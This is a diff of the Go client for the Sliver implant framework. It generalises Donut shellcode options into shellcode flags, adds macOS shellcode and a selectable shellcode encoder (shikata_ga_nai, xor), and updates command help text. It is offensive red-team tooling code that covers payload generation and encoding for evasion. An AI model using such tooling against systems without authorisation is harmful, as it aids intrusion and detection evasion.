if !cmd.Flags().Changed("shellcode-headers") {
|
||||
shellcodeHeaders, _ = cmd.Flags().GetUint32("donut-headers")
|
||||
}
|
||||
|
||||
shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
|
||||
if !cmd.Flags().Changed("shellcode-thread") {
|
||||
shellcodeThread, _ = cmd.Flags().GetBool("donut-thread")
|
||||
}
|
||||
|
||||
shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
|
||||
if !cmd.Flags().Changed("shellcode-unicode") {
|
||||
shellcodeUnicode, _ = cmd.Flags().GetBool("donut-unicode")
|
||||
}
|
||||
|
||||
shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
|
||||
if !cmd.Flags().Changed("shellcode-oep") {
|
||||
shellcodeOEP, _ = cmd.Flags().GetUint32("donut-oep")
|
||||
}
|
||||
|
||||
anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
|
||||
cmd.Flags().Changed("shellcode-compress") ||
|
||||
cmd.Flags().Changed("shellcode-exitopt") ||
|
||||
cmd.Flags().Changed("shellcode-bypass") ||
|
||||
cmd.Flags().Changed("shellcode-headers") ||
|
||||
cmd.Flags().Changed("shellcode-thread") ||
|
||||
cmd.Flags().Changed("shellcode-unicode") ||
|
||||
cmd.Flags().Changed("shellcode-oep") ||
|
||||
cmd.Flags().Changed("donut-entropy") ||
|
||||
cmd.Flags().Changed("donut-compress") ||
|
||||
cmd.Flags().Changed("donut-exitopt") ||
|
||||
cmd.Flags().Changed("donut-bypass") ||
|
||||
@@ -511,43 +563,199 @@ func parseDonutFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.
|
||||
cmd.Flags().Changed("donut-unicode") ||
|
||||
cmd.Flags().Changed("donut-oep")
|
||||
|
||||
if targetOS != "windows" || configFormat != clientpb.OutputFormat_SHELLCODE {
|
||||
if configFormat != clientpb.OutputFormat_SHELLCODE {
|
||||
if anyChanged {
|
||||
con.PrintWarnf("Donut options only apply to Windows shellcode, ignoring.\n")
|
||||
con.PrintWarnf("Shellcode options only apply when using `--format shellcode`, ignoring.\n")
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
if donutEntropy < 1 || donutEntropy > 3 {
|
||||
return nil, fmt.Errorf("donut-entropy must be between 1 and 3")
|
||||
}
|
||||
if donutExitOpt < 1 || donutExitOpt > 3 {
|
||||
return nil, fmt.Errorf("donut-exitopt must be between 1 and 3")
|
||||
}
|
||||
if donutBypass < 1 || donutBypass > 3 {
|
||||
return nil, fmt.Errorf("donut-bypass must be between 1 and 3")
|
||||
}
|
||||
if donutHeaders < 1 || donutHeaders > 2 {
|
||||
return nil, fmt.Errorf("donut-headers must be 1 or 2")
|
||||
windowsOnlyChanged := cmd.Flags().Changed("shellcode-entropy") ||
|
||||
cmd.Flags().Changed("shellcode-exitopt") ||
|
||||
cmd.Flags().Changed("shellcode-bypass") ||
|
||||
cmd.Flags().Changed("shellcode-headers") ||
|
||||
cmd.Flags().Changed("shellcode-thread") ||
|
||||
cmd.Flags().Changed("shellcode-unicode") ||
|
||||
cmd.Flags().Changed("shellcode-oep") ||
|
||||
cmd.Flags().Changed("donut-entropy") ||
|
||||
cmd.Flags().Changed("donut-exitopt") ||
|
||||
cmd.Flags().Changed("donut-bypass") ||
|
||||
cmd.Flags().Changed("donut-headers") ||
|
||||
cmd.Flags().Changed("donut-thread") ||
|
||||
cmd.Flags().Changed("donut-unicode") ||
|
||||
cmd.Flags().Changed("donut-oep")
|
||||
|
||||
// macOS shellcode currently only supports compression.
|
||||
if targetOS != "windows" {
|
||||
if targetOS == "darwin" {
|
||||
if windowsOnlyChanged {
|
||||
con.PrintWarnf("Windows-only shellcode options are ignored on macOS shellcode.\n")
|
||||
}
|
||||
} else if anyChanged {
|
||||
con.PrintWarnf("Shellcode options are only supported on Windows and macOS shellcode, ignoring.\n")
|
||||
}
|
||||
|
||||
shellcodeCompress := uint32(1)
|
||||
if shellcodeCompressEnabled {
|
||||
shellcodeCompress = 2
|
||||
}
|
||||
return &clientpb.ShellcodeConfig{
|
||||
Compress: shellcodeCompress,
|
||||
}, nil
|
||||
}
|
||||
|
||||
donutCompress := uint32(1)
|
||||
if donutCompressEnabled {
|
||||
donutCompress = 2
|
||||
if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
|
||||
return nil, fmt.Errorf("shellcode-entropy must be between 1 and 3")
|
||||
}
|
||||
if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
|
||||
return nil, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
|
||||
}
|
||||
if shellcodeBypass < 1 || shellcodeBypass > 3 {
|
||||
return nil, fmt.Errorf("shellcode-bypass must be between 1 and 3")
|
||||
}
|
||||
if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
|
||||
return nil, fmt.Errorf("shellcode-headers must be 1 or 2")
|
||||
}
|
||||
|
||||
return &clientpb.DonutConfig{
|
||||
Entropy: donutEntropy,
|
||||
Compress: donutCompress,
|
||||
ExitOpt: donutExitOpt,
|
||||
Bypass: donutBypass,
|
||||
Headers: donutHeaders,
|
||||
Thread: donutThread,
|
||||
Unicode: donutUnicode,
|
||||
OEP: donutOEP,
|
||||
shellcodeCompress := uint32(1)
|
||||
if shellcodeCompressEnabled {
|
||||
shellcodeCompress = 2
|
||||
}
|
||||
|
||||
return &clientpb.ShellcodeConfig{
|
||||
Entropy: shellcodeEntropy,
|
||||
Compress: shellcodeCompress,
|
||||
ExitOpt: shellcodeExitOpt,
|
||||
Bypass: shellcodeBypass,
|
||||
Headers: shellcodeHeaders,
|
||||
Thread: shellcodeThread,
|
||||
Unicode: shellcodeUnicode,
|
||||
OEP: shellcodeOEP,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func normalizeShellcodeEncoderName(name string) string {
|
||||
normalized := strings.ToLower(strings.TrimSpace(name))
|
||||
normalized = strings.ReplaceAll(normalized, "-", "_")
|
||||
return normalized
|
||||
}
|
||||
|
||||
func normalizeShellcodeArch(arch string) string {
|
||||
normalized := strings.ToLower(strings.TrimSpace(arch))
|
||||
switch normalized {
|
||||
case "amd64", "x64", "x86_64":
|
||||
return "amd64"
|
||||
case "386", "x86", "i386":
|
||||
return "386"
|
||||
case "arm64", "aarch64":
|
||||
return "arm64"
|
||||
default:
|
||||
return normalized
|
||||
}
|
||||
}
|
||||
|
||||
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
|
||||
if con == nil || con.Rpc == nil {
|
||||
return nil, errors.New("no RPC client")
|
||||
}
|
||||
grpcCtx, cancel := con.GrpcContext(nil)
|
||||
defer cancel()
|
||||
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
|
||||
}
|
||||
|
||||
func compatibleShellcodeEncoderNames(encoderMap *clientpb.ShellcodeEncoderMap, arch string) []string {
|
||||
if encoderMap == nil {
|
||||
return nil
|
||||
}
|
||||
arch = normalizeShellcodeArch(arch)
|
||||
archMap := encoderMap.GetEncoders()[arch]
|
||||
if archMap == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
names := make([]string, 0, len(archMap.GetEncoders()))
|
||||
for name := range archMap.GetEncoders() {
|
||||
names = append(names, name)
|
||||
}
|
||||
sort.Strings(names)
|
||||
return names
|
||||
}
|
||||
|
||||
func shellcodeEncoderEnumForArch(encoderMap *clientpb.ShellcodeEncoderMap, arch, name string) (clientpb.ShellcodeEncoder, bool) {
|
||||
if encoderMap == nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, false
|
||||
}
|
||||
arch = normalizeShellcodeArch(arch)
|
||||
name = normalizeShellcodeEncoderName(name)
|
||||
archMap := encoderMap.GetEncoders()[arch]
|
||||
if archMap == nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, false
|
||||
}
|
||||
encoder, ok := archMap.GetEncoders()[name]
|
||||
return encoder, ok
|
||||
}
|
||||
|
||||
func parseShellcodeEncoderFlag(cmd *cobra.Command, targetArch string, configFormat clientpb.OutputFormat, con *console.SliverClient) (clientpb.ShellcodeEncoder, error) {
|
||||
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
|
||||
rawEncoder = strings.TrimSpace(rawEncoder)
|
||||
|
||||
if configFormat != clientpb.OutputFormat_SHELLCODE {
|
||||
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder != "" {
|
||||
con.PrintWarnf("Shellcode encoder only applies when using `--format shellcode`, ignoring.\n")
|
||||
}
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder == "" {
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("shellcode-encoder cannot be empty; use 'none' to disable encoding")
|
||||
}
|
||||
|
||||
normalized := normalizeShellcodeEncoderName(rawEncoder)
|
||||
if normalized == "none" {
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
encoderMap, err := fetchShellcodeEncoderMap(con)
|
||||
if err != nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, err
|
||||
}
|
||||
|
||||
// If no encoder specified, prompt for a compatible encoder (or none).
|
||||
if rawEncoder == "" && !cmd.Flags().Changed("shellcode-encoder") {
|
||||
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
|
||||
if len(compatible) == 0 {
|
||||
// No known compatible encoders for this arch.
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
options := append([]string{"none"}, compatible...)
|
||||
choice := "none"
|
||||
if err := forms.Select("Select a shellcode encoder (optional)", options, &choice); err != nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, err
|
||||
}
|
||||
if normalizeShellcodeEncoderName(choice) == "none" {
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, choice)
|
||||
if !ok {
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s", choice, normalizeShellcodeArch(targetArch))
|
||||
}
|
||||
return encoder, nil
|
||||
}
|
||||
|
||||
// Encoder explicitly specified by name.
|
||||
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, rawEncoder)
|
||||
if !ok {
|
||||
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
|
||||
if len(compatible) == 0 {
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("no shellcode encoders are available for arch %s", normalizeShellcodeArch(targetArch))
|
||||
}
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s (valid: %s)", rawEncoder, normalizeShellcodeArch(targetArch), strings.Join(compatible, ", "))
|
||||
}
|
||||
return encoder, nil
|
||||
}
|
||||
|
||||
// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled.
|
||||
func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverClient) (bool, []*commonpb.File) {
|
||||
trafficEncoders, _ := cmd.Flags().GetString("traffic-encoders")
|
||||
@@ -1026,12 +1234,58 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
|
||||
}
|
||||
con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
|
||||
|
||||
fileData := generated.File.Data
|
||||
if config.IsShellcode {
|
||||
encoder := config.ShellcodeEncoder
|
||||
legacySGN := false
|
||||
if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
|
||||
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
legacySGN = true
|
||||
}
|
||||
if encoder != clientpb.ShellcodeEncoder_NONE {
|
||||
encoderName := map[clientpb.ShellcodeEncoder]string{
|
||||
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
|
||||
clientpb.ShellcodeEncoder_XOR: "xor",
|
||||
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
|
||||
}[encoder]
|
||||
if encoderName == "" {
|
||||
return nil, fmt.Errorf("unknown shellcode encoder enum %d", int32(encoder))
|
||||
}
|
||||
encoderMap, err := fetchShellcodeEncoderMap(con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, ok := shellcodeEncoderEnumForArch(encoderMap, config.GOARCH, encoderName); !ok {
|
||||
msg := fmt.Sprintf("Shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(config.GOARCH))
|
||||
if legacySGN {
|
||||
con.PrintWarnf("%s, skipping.\n", msg)
|
||||
} else {
|
||||
return nil, errors.New(msg)
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("Encoding shellcode with %s ... ", encoderName)
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: encoder,
|
||||
Architecture: config.GOARCH,
|
||||
Iterations: 1,
|
||||
BadChars: []byte{},
|
||||
Data: fileData,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
fileData = resp.GetData()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name), con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = os.WriteFile(saveTo, generated.File.Data, 0o700)
|
||||
err = os.WriteFile(saveTo, fileData, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
@@ -1078,22 +1332,49 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
|
||||
|
||||
fileData := generated.File.Data
|
||||
if config.IsShellcode {
|
||||
if !config.SGNEnabled {
|
||||
con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
|
||||
} else {
|
||||
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: config.GOARCH,
|
||||
Iterations: 1,
|
||||
BadChars: []byte{},
|
||||
Data: fileData,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
encoder := config.ShellcodeEncoder
|
||||
legacySGN := false
|
||||
if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
|
||||
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
legacySGN = true
|
||||
}
|
||||
if encoder != clientpb.ShellcodeEncoder_NONE {
|
||||
encoderName := map[clientpb.ShellcodeEncoder]string{
|
||||
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
|
||||
clientpb.ShellcodeEncoder_XOR: "xor",
|
||||
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
|
||||
}[encoder]
|
||||
if encoderName == "" {
|
||||
con.PrintWarnf("Unknown shellcode encoder enum %d, skipping.\n", int32(encoder))
|
||||
} else {
|
||||
con.Printf("success!\n")
|
||||
fileData = resp.GetData()
|
||||
encoderMap, err := fetchShellcodeEncoderMap(con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, ok := shellcodeEncoderEnumForArch(encoderMap, config.GOARCH, encoderName); !ok {
|
||||
msg := fmt.Sprintf("Shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(config.GOARCH))
|
||||
if legacySGN {
|
||||
con.PrintWarnf("%s, skipping.\n", msg)
|
||||
} else {
|
||||
con.PrintErrorf("%s\n", msg)
|
||||
return nil, errors.New(msg)
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("Encoding shellcode with %s ... ", encoderName)
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: encoder,
|
||||
Architecture: config.GOARCH,
|
||||
Iterations: 1,
|
||||
BadChars: []byte{},
|
||||
Data: fileData,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.Printf("success!\n")
|
||||
fileData = resp.GetData()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,6 +2,7 @@ package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
@@ -30,19 +31,49 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient
|
||||
}
|
||||
data = generated.GetFile().GetData()
|
||||
|
||||
if profile.Config.Format == clientpb.OutputFormat_SHELLCODE && profile.Config.SGNEnabled {
|
||||
encodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: profile.Config.GOARCH,
|
||||
Iterations: 1,
|
||||
BadChars: []byte{},
|
||||
Data: data,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error encoding shellcode")
|
||||
return nil, err
|
||||
if profile.Config.Format == clientpb.OutputFormat_SHELLCODE {
|
||||
encoder := profile.Config.ShellcodeEncoder
|
||||
legacySGN := false
|
||||
if encoder == clientpb.ShellcodeEncoder_NONE && profile.Config.SGNEnabled {
|
||||
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
legacySGN = true
|
||||
}
|
||||
if encoder != clientpb.ShellcodeEncoder_NONE {
|
||||
encoderName := map[clientpb.ShellcodeEncoder]string{
|
||||
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
|
||||
clientpb.ShellcodeEncoder_XOR: "xor",
|
||||
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
|
||||
}[encoder]
|
||||
if encoderName == "" {
|
||||
return nil, fmt.Errorf("unknown shellcode encoder enum %d", int32(encoder))
|
||||
}
|
||||
|
||||
encoderMap, err := fetchShellcodeEncoderMap(con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, ok := shellcodeEncoderEnumForArch(encoderMap, profile.Config.GOARCH, encoderName); !ok {
|
||||
msg := fmt.Sprintf("shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(profile.Config.GOARCH))
|
||||
if legacySGN {
|
||||
con.PrintWarnf("%s, skipping.\n", msg)
|
||||
} else {
|
||||
return nil, errors.New(msg)
|
||||
}
|
||||
} else {
|
||||
encodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: encoder,
|
||||
Architecture: profile.Config.GOARCH,
|
||||
Iterations: 1,
|
||||
BadChars: []byte{},
|
||||
Data: data,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error encoding shellcode")
|
||||
return nil, err
|
||||
}
|
||||
data = encodeResp.Data
|
||||
}
|
||||
}
|
||||
data = encodeResp.Data
|
||||
}
|
||||
|
||||
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
|
||||
@@ -20,8 +20,10 @@ package generate
|
||||
|
||||
import (
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
@@ -44,9 +46,40 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
}
|
||||
profile := GetImplantProfileByName(name, con)
|
||||
if profile != nil {
|
||||
// If SGN is explicitly disabled, make sure this compilation reflects that despite whatever is set in the profile
|
||||
if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
|
||||
profile.Config.SGNEnabled = !SGNDisabled
|
||||
// Override shellcode encoder if explicitly requested.
|
||||
if cmd.Flags().Changed("shellcode-encoder") {
|
||||
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
|
||||
rawEncoder = strings.TrimSpace(rawEncoder)
|
||||
if rawEncoder == "" {
|
||||
con.PrintErrorf("shellcode-encoder cannot be empty; use 'none' to disable encoding\n")
|
||||
return
|
||||
}
|
||||
|
||||
normalized := normalizeShellcodeEncoderName(rawEncoder)
|
||||
if normalized == "none" {
|
||||
profile.Config.ShellcodeEncoder = clientpb.ShellcodeEncoder_NONE
|
||||
profile.Config.SGNEnabled = false
|
||||
} else if profile.Config.Format != clientpb.OutputFormat_SHELLCODE {
|
||||
con.PrintWarnf("Shellcode encoder only applies when using `--format shellcode`, ignoring.\n")
|
||||
} else {
|
||||
encoderMap, err := fetchShellcodeEncoderMap(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to fetch shellcode encoders: %s\n", err)
|
||||
return
|
||||
}
|
||||
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, profile.Config.GOARCH, rawEncoder)
|
||||
if !ok {
|
||||
compatible := compatibleShellcodeEncoderNames(encoderMap, profile.Config.GOARCH)
|
||||
if len(compatible) == 0 {
|
||||
con.PrintErrorf("No shellcode encoders are available for arch %s\n", normalizeShellcodeArch(profile.Config.GOARCH))
|
||||
} else {
|
||||
con.PrintErrorf("Unsupported shellcode encoder %q for arch %s (valid: %s)\n", rawEncoder, normalizeShellcodeArch(profile.Config.GOARCH), strings.Join(compatible, ", "))
|
||||
}
|
||||
return
|
||||
}
|
||||
profile.Config.ShellcodeEncoder = encoder
|
||||
profile.Config.SGNEnabled = encoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
}
|
||||
}
|
||||
_, err := compile(implantName, profile.Config, save, con)
|
||||
if err != nil {
|
||||
|
||||
@@ -165,10 +165,21 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string
|
||||
properties["obsymbols"] = "disabled"
|
||||
}
|
||||
|
||||
if config.SGNEnabled {
|
||||
properties["sgn"] = "enabled"
|
||||
} else {
|
||||
properties["sgn"] = "disabled"
|
||||
properties["shellcodeencoder"] = "n/a"
|
||||
if config.Format == clientpb.OutputFormat_SHELLCODE {
|
||||
encoder := config.ShellcodeEncoder
|
||||
if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
|
||||
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
}
|
||||
properties["shellcodeencoder"] = map[clientpb.ShellcodeEncoder]string{
|
||||
clientpb.ShellcodeEncoder_NONE: "none",
|
||||
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
|
||||
clientpb.ShellcodeEncoder_XOR: "xor",
|
||||
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
|
||||
}[encoder]
|
||||
if properties["shellcodeencoder"] == "" {
|
||||
properties["shellcodeencoder"] = fmt.Sprintf("unknown (%d)", int32(encoder))
|
||||
}
|
||||
}
|
||||
|
||||
reconnect := int(config.ReconnectInterval / int64(math.Pow10(9)))
|
||||
@@ -311,8 +322,8 @@ func PrintProfileInfo(name string, con *console.SliverClient) {
|
||||
properties["obsymbols"],
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Shikata Ga Nai (SGN) is",
|
||||
properties["sgn"],
|
||||
"Shellcode encoder is",
|
||||
properties["shellcodeencoder"],
|
||||
})
|
||||
|
||||
con.PrintInfof("Obfuscation\n")
|
||||
|
||||
@@ -47,44 +47,45 @@ var (
|
||||
consts.GenerateStr: generateHelp,
|
||||
consts.StageListenerStr: stageListenerHelp,
|
||||
|
||||
consts.MsfStr: msfHelp,
|
||||
consts.MsfInjectStr: msfInjectHelp,
|
||||
consts.PsStr: psHelp,
|
||||
consts.PingStr: pingHelp,
|
||||
consts.KillStr: killHelp,
|
||||
consts.LsStr: lsHelp,
|
||||
consts.CdStr: cdHelp,
|
||||
consts.PwdStr: pwdHelp,
|
||||
consts.CatStr: catHelp,
|
||||
consts.EditStr: editHelp,
|
||||
consts.HexEditStr: hexEditHelp,
|
||||
consts.DownloadStr: downloadHelp,
|
||||
consts.GrepStr: grepHelp,
|
||||
consts.HeadStr: headHelp,
|
||||
consts.TailStr: tailHelp,
|
||||
consts.UploadStr: uploadHelp,
|
||||
consts.MkdirStr: mkdirHelp,
|
||||
consts.RmStr: rmHelp,
|
||||
consts.ChtimesStr: chtimesHelp,
|
||||
consts.ProcdumpStr: procdumpHelp,
|
||||
consts.ElevateStr: elevateHelp,
|
||||
consts.RunAsStr: runAsHelp,
|
||||
consts.ImpersonateStr: impersonateHelp,
|
||||
consts.RevToSelfStr: revToSelfHelp,
|
||||
consts.ExecuteStr: executeHelp,
|
||||
consts.ExecuteAssemblyStr: executeAssemblyHelp,
|
||||
consts.ExecuteShellcodeStr: executeShellcodeHelp,
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.AliasesStr: loadAliasHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
consts.MountStr: mountHelp,
|
||||
consts.ShikataGaNai: shikataGaNaiHelp,
|
||||
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
|
||||
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
|
||||
consts.MsfStr: msfHelp,
|
||||
consts.MsfInjectStr: msfInjectHelp,
|
||||
consts.PsStr: psHelp,
|
||||
consts.PingStr: pingHelp,
|
||||
consts.KillStr: killHelp,
|
||||
consts.LsStr: lsHelp,
|
||||
consts.CdStr: cdHelp,
|
||||
consts.PwdStr: pwdHelp,
|
||||
consts.CatStr: catHelp,
|
||||
consts.EditStr: editHelp,
|
||||
consts.HexEditStr: hexEditHelp,
|
||||
consts.DownloadStr: downloadHelp,
|
||||
consts.GrepStr: grepHelp,
|
||||
consts.HeadStr: headHelp,
|
||||
consts.TailStr: tailHelp,
|
||||
consts.UploadStr: uploadHelp,
|
||||
consts.MkdirStr: mkdirHelp,
|
||||
consts.RmStr: rmHelp,
|
||||
consts.ChtimesStr: chtimesHelp,
|
||||
consts.ProcdumpStr: procdumpHelp,
|
||||
consts.ElevateStr: elevateHelp,
|
||||
consts.RunAsStr: runAsHelp,
|
||||
consts.ImpersonateStr: impersonateHelp,
|
||||
consts.RevToSelfStr: revToSelfHelp,
|
||||
consts.ExecuteStr: executeHelp,
|
||||
consts.ExecuteStr + sep + consts.ExecuteChildrenStr: executeChildrenHelp,
|
||||
consts.ExecuteAssemblyStr: executeAssemblyHelp,
|
||||
consts.ExecuteShellcodeStr: executeShellcodeHelp,
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.AliasesStr: loadAliasHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
consts.MountStr: mountHelp,
|
||||
consts.ShikataGaNai: shikataGaNaiHelp,
|
||||
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
|
||||
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
|
||||
|
||||
consts.WebsitesStr: websitesHelp,
|
||||
consts.ScreenshotStr: screenshotHelp,
|
||||
@@ -135,6 +136,7 @@ var (
|
||||
|
||||
[[.Bold]]About:[[.Normal]] Execute a program on the remote system with optional arguments, note the subprocess
|
||||
arguments are be separated from the sliver 'execute' arguments with '--'
|
||||
Use [[.Bold]]--background[[.Normal]] to start the process without waiting for output (use [[.Bold]]--stdout[[.Normal]]/[[.Bold]]--stderr[[.Normal]] to redirect).
|
||||
|
||||
[[.Bold]]Example:[[.Normal]]
|
||||
execute /bin/bash --env FOO=1 -- -c env
|
||||
@@ -145,6 +147,11 @@ FOO=1
|
||||
PWD=/Users/moloch/git/sliver
|
||||
SHLVL=1
|
||||
_=/usr/bin/env
|
||||
`
|
||||
|
||||
executeChildrenHelp = `[[.Bold]]Command:[[.Normal]] execute children
|
||||
|
||||
[[.Bold]]About:[[.Normal]] List tracked background child processes started with [[.Bold]]execute --background[[.Normal]].
|
||||
`
|
||||
|
||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||
@@ -182,8 +189,8 @@ You can also stack the C2 configuration with multiple protocols:
|
||||
|
||||
|
||||
[[.Bold]][[.Underline]]++ Formats ++[[.Normal]]
|
||||
Supported output formats are Windows PE, Windows DLL, Windows Shellcode, Mach-O, and ELF. The output format is controlled
|
||||
with the --os and --format flags.
|
||||
Supported output formats include Windows PE, Windows DLL, Windows shellcode, macOS Mach-O, macOS shellcode (arm64),
|
||||
and Linux ELF. The output format is controlled with the --os and --format flags.
|
||||
|
||||
To output a 64bit Windows PE file (defaults to WinPE/64bit), either of the following command would be used:
|
||||
generate --mtls foo.example.com
|
||||
@@ -199,16 +206,17 @@ To output a Linux ELF executable file, the following command would be used:
|
||||
generate --os linux --mtls foo.example.com
|
||||
|
||||
|
||||
[[.Bold]][[.Underline]]++ Donut Shellcode Options ++[[.Normal]]
|
||||
When generating Windows shellcode (--format shellcode), you can tune Donut:
|
||||
--donut-entropy 1|2|3 # Entropy: 1=none (default), 2=random names, 3=random+encrypt
|
||||
--donut-compress 0|1 # Compression: 0=off (default), 1=aplib
|
||||
--donut-exitopt 1|2|3 # Exit behavior: 1=exit thread (default), 2=exit process, 3=block
|
||||
